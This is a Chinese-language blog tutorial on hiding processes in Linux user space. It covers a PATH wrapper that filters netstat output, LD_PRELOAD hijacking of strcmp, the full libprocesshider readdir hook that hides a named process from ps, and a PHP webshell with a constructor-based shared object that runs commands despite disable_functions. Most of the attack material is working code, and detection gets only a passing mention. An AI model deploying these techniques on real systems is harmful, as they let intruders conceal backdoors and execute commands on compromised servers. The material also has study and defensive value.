浅谈Linux进程隐藏

浅谈Linux进程隐藏

文章目录

前言

💡 本文不会涉及内核层面,只是从应用层介绍linux下进程隐藏的一些知识点,抛砖引玉,探索更多的思路

  • 环境变量的绕过。
  • LD_PRELOAD绕过方法。
  • 一些简单实例。
  • 一些其它绕过思路。

环境变量的绕过

常用的命令在哪里

ps、netstat、ls等

whereis netstat
which netstat

环境变量的调用

查看环境变量:echo $PATH

思考一下我有两个路径下一样的程序会调用哪一个?

前置知识的了解

$@:

​ 以一个单字符串显示所有向脚本传递的参数

​ 查看环境变量:echo $PATH

grep:

​ -E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。

​ -v 或 --invert-match : 显示不包含匹配文本的所有行。

Netstat伪装

Netstat位置:
/usr/bin/netstat

创建优先级较高文件:

创建/usr/local/bin/netstat

写入:

bash 复制代码
# !/bin/bash    
/usr/bin/netstat $@ | grep -Ev 'name|name|name'

含有引号中每个|分割符中的选项都会被屏蔽

可以是进程名、ip或端口

赋予权限执行:

chmod +x netstat

这样便隐藏了相关信息

查看当前网络连接

消失的3306

怎么去甄别

通过查看命令所在的位置

LD_PRELOAD

链接:编译器找到程序中所引用的函数或全局变量所存在的位置

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。当多个程序都调用相同函数时,内存中就会存在这个函数的多个拷贝。

动态链接:指编译系统在链接阶段并不把目标文件和函数库文件链接在一起,而是等到程序在运行过程中需要使用时才链接函数库。

一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的代码,通过返回值控制流程,那么就会带来一些危害。

正常情况下, Linux 动态加载器ld-linux会搜寻并装载程序所需的共享链接库文件, 而LD_PRELOAD是一个可选的环境变量,包含一个或多个指向共享链接库文件的路径。

加载器会先于 C 语言运行库之前载入LD_PRELOAD指定的共享链接库,也就是所谓的预装载 (preload)。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

如何利用呢?

简单实例

check.c

一个正常检查密码的C程序

正常编译并运行

c 复制代码
//check.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
    char passwd[] = "true_password";
    if(argc<2){
        printf("usage:%s <password>\n",argv[0]);
        return 0;
    }
    if(!strcmp(passwd,argv[1])){
        printf("Correct Passwword!\n");
    }
    else{
        printf("Invalid Password!\n");
    }
    return 0;
}

编译并运行

重载函数

重载strcmp()函数,并编译成动态链接库,实现劫持原函数的功能。

-shared:表明产生共享库

-fPIC:则表明使用地址无关代码,代码本身就能被放到线性地址空间的任意位置

c 复制代码
//123.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1,const char *s2){
    printf("s1=<%s>, s2=<%s>\n",s1,s2);
    return 0;
}
设置LD_PERLOAD

我们发现重载了函数,改变了原来函数的逻辑结构。

删除环境变量LD_PERLOAD
unset export LD_PRELOAD

PS的隐藏

跟踪PS

strace /usr/bin/ps

通过查看输出,发现PS就是在不断的读取/proc/pid 下的文件信息

一般先调用 newfstat() 确认文件状态,再调用openat()打开文件句柄,然后 read() 读取内容,最后close()关闭;不断重复这一系列动作从而获取进程信息。

不过这些调用是系统的调用,查阅资料PS直接调用的函数是readdir()opendir()

readdir函数

readdir函数返回一个指向dirent结构体的指针,该结构体代表了由dir指向的目录流中的下一个目录项;

如果读到end-of-file或者出现了错误,那么返回NULL。

readdir函数返回的值会被后续调用的(针对同一目录流的)readdir函数返回值所覆盖。

在Linux系统中,dirent结构体定义如下:

如何HOOK

思路如下:

  1. 重写readdir()函数,保证取值和返回类型相同
  2. 声明一个函数指针保存原始readdir()函数调用
  3. 程序调用我们假的readdir()函数时,函数内部去调用真正的readdir()获取到结果
  4. 函数内部判断当前进程路径是否为/proc
  5. 函数内部判断文件名是否为要过滤的进程名
  6. 当两个条件都满足时 continue 跳过,从而不打印进程名

参考别人的思路

https://github.com/gianlucaborello/libprocesshider

c 复制代码
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "ping";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
if(original_##readdir == NULL) {                                    \
original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
if(original_##readdir == NULL)                                  \
{                                                               \
fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
}                                                               \
}                                                                   \
\
struct dirent* dir;                                                 \
\
while(1)                                                            \
{                                                                   \
dir = original_##readdir(dirp);                                 \
if(dir) {                                                       \
char dir_name[256];                                         \
char process_name[256];                                     \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
strcmp(dir_name, "/proc") == 0 &&                       \
get_process_name(dir->d_name, process_name) &&          \
strcmp(process_name, process_to_filter) == 0) {         \
continue;                                               \
}                                                           \
}                                                               \
break;                                                          \
}                                                                   \
return dir;                                                         \
}

  DECLARE_READDIR(dirent64, readdir64);
  DECLARE_READDIR(dirent, readdir);

编译并验证

测试ping 发现进程中找不到ping,如果制作后门连接的话,会在netstat里面看到,这就需要对netstat里面的函数hook,此处就不再一一展开。

LD_PRELOAD的其他利用思路

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

当拿到一个PHP的webshell无法执行系统命令时,发现有disable_functions禁用了命令执行函数。可尝试LD_PRELOAD思路绕过

GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

php 复制代码
<?php
  echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

  $cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

unlink($out_path);
?>
c 复制代码
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
        if (strstr(environ[i], "LD_PRELOAD")) {
                environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

References

  1. 进程隐藏
  2. disable_functions
  3. libprocesshider
  4. linuxStack
  5. readdir
相关推荐
光芒再现dev11 分钟前
已解决,部署GPTSoVITS报错‘AsyncRequest‘ object has no attribute ‘_json_response_data‘
运维·python·gpt·语言模型·自然语言处理
AndyFrank24 分钟前
mac crontab 不能使用问题简记
linux·运维·macos
筱源源40 分钟前
Kafka-linux环境部署
linux·kafka
EricWang13581 小时前
[OS] 项目三-2-proc.c: exit(int status)
服务器·c语言·前端
成都古河云1 小时前
智慧场馆:安全、节能与智能化管理的未来
大数据·运维·人工智能·安全·智慧城市
算法与编程之美1 小时前
文件的写入与读取
linux·运维·服务器
xianwu5432 小时前
反向代理模块
linux·开发语言·网络·git
follycat2 小时前
[极客大挑战 2019]HTTP 1
网络·网络协议·http·网络安全
Amelio_Ming2 小时前
Permissions 0755 for ‘/etc/ssh/ssh_host_rsa_key‘ are too open.问题解决
linux·运维·ssh
心灵彼岸-诗和远方2 小时前
Devops业务价值流:软件研发最佳实践
运维·产品经理·devops